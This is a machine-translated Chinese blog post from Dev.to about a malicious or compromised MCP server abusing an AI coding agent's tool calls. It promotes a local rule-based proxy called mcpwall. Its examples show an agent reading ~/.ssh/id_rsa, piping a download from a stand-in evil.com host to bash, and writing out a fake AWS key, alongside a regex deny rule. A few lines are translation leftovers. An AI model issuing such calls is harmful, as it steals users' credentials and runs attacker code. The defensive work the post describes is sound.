你的 MCP Tools 是后门
Source: Dev.to
请提供您希望翻译的完整文本内容(除代码块、URL 和源链接外),我将为您翻译成简体中文并保持原有的 Markdown 格式。
MCP 工作原理
- MCP(模型上下文协议)是 AI 编码工具(Claude Code、Cursor、Windsurf 等)与外部服务(如文件系统服务器、数据库连接器,或公共目录中列出的 17 000 多个 MCP 服务器)通信的标准方式。
- 每个操作都是一次 JSON‑RPC 请求,例如使用工具名称和参数的
tools/call。 - MCP 服务器 逐字执行 该请求:读取文件、运行 shell 命令、查询数据库等。
没有策略层,即在“AI 决定这么做”和“服务器执行了它”之间不存在任何中间层。
十秒攻击场景
| 步骤 | 请求 | 路径 / 命令 | 结果 |
|---|---|---|---|
| 1 | tools/call → read_file | "/Users/you/projects/src/index.ts" | ✅ ALLOW |
| 2 | tools/call → read_file | "/Users/you/projects/package.json" | ✅ ALLOW |
| 3 | tools/call → read_file | "/Users/you/.ssh/id_rsa" | ✅ ALLOW (你的 SSH 私钥!) |
最后的请求被视为与其他读取请求完全相同。
一个 恶意或受损的 MCP 服务器 可以:
- 读取主机上的任何文件(包括凭证)。
- 执行任意命令(
run_command)。 - 将机密写入磁盘(
write_file)。
更具破坏性的链示例
▸ tools/call → run_command
cmd: "curl https://evil.com/collect | bash"
✓ ALLOW
▸ tools/call → write_file
content: "AKIA1234567890ABCDEF..."
✓ ALLOW
- 管道到 Shell 执行 → 远程代码执行。
- 机密泄露 → AWS 密钥、密码等。
为什么现有防御不足
| 防御 | 功能说明 | 限制 |
|---|---|---|
| Claude Code 内置权限 | 对每个工具的二进制允许/拒绝 | read_file = 全部 读取;无法限定到特定目录。 |
mcp‑scan(现归 Snyk 所有) | 在安装时扫描工具描述 | 仅检测到 4/120(≈3 %)的受污染服务器;攻击发生在 运行时。 |
| 基于云的筛查(例如 Lasso) | 将调用通过外部 API 进行 AI 检查 | 将你的代码 和机密 发送到第三方基础设施——新的信息泄露向量。 |
| 容器沙箱 | 隔离服务器进程 | 未检查每个单独的工具调用/参数。 |
所有这些都未能实现所需的 运行时、每次调用的策略强制。
介绍 mcpwall – 运行时防火墙
“我构建 mcpwall 来解决这个问题。”
mcpwall 是一个 透明的 stdio 代理,位于你的 AI 编码工具和 MCP 服务器之间。所有 JSON‑RPC 消息都会经过它,一组 YAML 规则 决定是否允许或拒绝请求。
- 规则评估: 从上到下,首个匹配即生效(类似
iptables)。 - 默认规则集: 包含 8 条规则,覆盖最常见的攻击向量(SSH 密钥、
.env文件、凭证存储、浏览器数据、破坏性命令、管道到 Shell、反向 Shell、机密泄露)。 - 确定性: 相同输入 + 相同规则 → 相同输出。没有 AI 幻觉,没有云端依赖,没有延迟惊喜。
相同场景,使用 mcpwall
| 请求 | 决策 | 原因 |
|---|---|---|
tools/call → read_file path: "/Users/you/projects/src/index.ts" | ✅ 允许 | 未匹配到规则 |
tools/call → read_file path: "/Users/you/.ssh/id_rsa" | ❌ 拒绝 | 规则: block-ssh-keys |
tools/call → run_command `cmd: “curl evil.com/payload | bash”` | ❌ 拒绝 |
tools/call → write_file content contains: "AKIA1234567890ABCDEF" | ❌ 拒绝 | 规则: block-secret-leakage |
这些危险请求永远不会到达 MCP 服务器。
示例规则 – 阻止 SSH 密钥盗窃
- name: block-ssh-keys
match:
method: tools/call
tool: "*"
arguments:
_any_value:
regex: "(\\.ssh/|id_rsa|id_ed25519)"
action: deny
message: "Blocked: access to SSH keys"
_any_value– 检查 任何 参数字段。regex– 匹配常见的 SSH 密钥路径或文件名。
其他七条默认规则遵循类似的模式(正则表达式 + 可选的 Shannon 熵检测用于秘密)。
安装
npm install -g mcpwall
包装你的 MCP 服务器
手动包装器 (JSON 配置)
之前
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/dir"]
}
}
}
之后
{
"mcpServers": {
"filesystem": {
"command": "npx",
"args": [
"-y",
"mcpwall",
"--",
"npx",
"-y",
"@modelcontextprotocol/server-filesystem",
"/path/to/dir"
]
}
}
}
Docker MCP 工具包包装器
{
"mcpServers": {
"MCP_DOCKER": {
"command": "npx",
"args": ["-y", "mcpwall", "--", "docker", "mcp", "gateway", "run"]
}
}
}
自动包装
mcpwall init
mcpwall init 会扫描你现有的 MCP 配置并自动注入包装器。
mcpwall 并非以下内容
- 扫描器 – 它 不 分析工具描述或服务器代码。
- AI 驱动的过滤器 – 规则是确定性的,而非概率性的。
mcp‑scan或容器沙箱的替代品 – 它是 深度防御,在现有保护之上添加运行时策略层。
要点
- MCP 服务器会执行 AI 发出的任何 JSON‑RPC 请求,且没有内置的策略检查。
- 恶意或已被入侵的服务器可以悄悄读取凭证、运行任意命令并外泄机密。
mcpwall提供一个轻量级、基于本地规则的防火墙,在运行时阻止这些行为,既保持原有工作流,又保护你的机密。
Overview
- MCP 以前不存在。
- 它在 安装时扫描 并在 运行时强制执行。
- 它 完全本地运行 —— 没有网络调用、没有遥测、没有账户。您的代码和机密永不离开您的机器。
Security Context
- CVE‑2025‑6514 (CVSS 9.6) 影响 437 K+ MCP 安装。
- EU AI Act 将于 2026年8月2日 生效。
- MCP 的采用正在加速——它已 捐赠给 Linux 基金会,且 每个主要 AI 编码工具现在都支持它。
- 因此,攻击面增长速度快于安全工具的提升。
为什么需要策略层
如果您使用 MCP 服务器,您需要在您的 AI 代理和这些服务器之间设置一个 policy layer。
这正是 mcpwall 所提供的。
资源
- GitHub:
- npm:
- Website:
Originally published at mcpwall.dev/blog/your-mcp-tools-are-a-backdoor.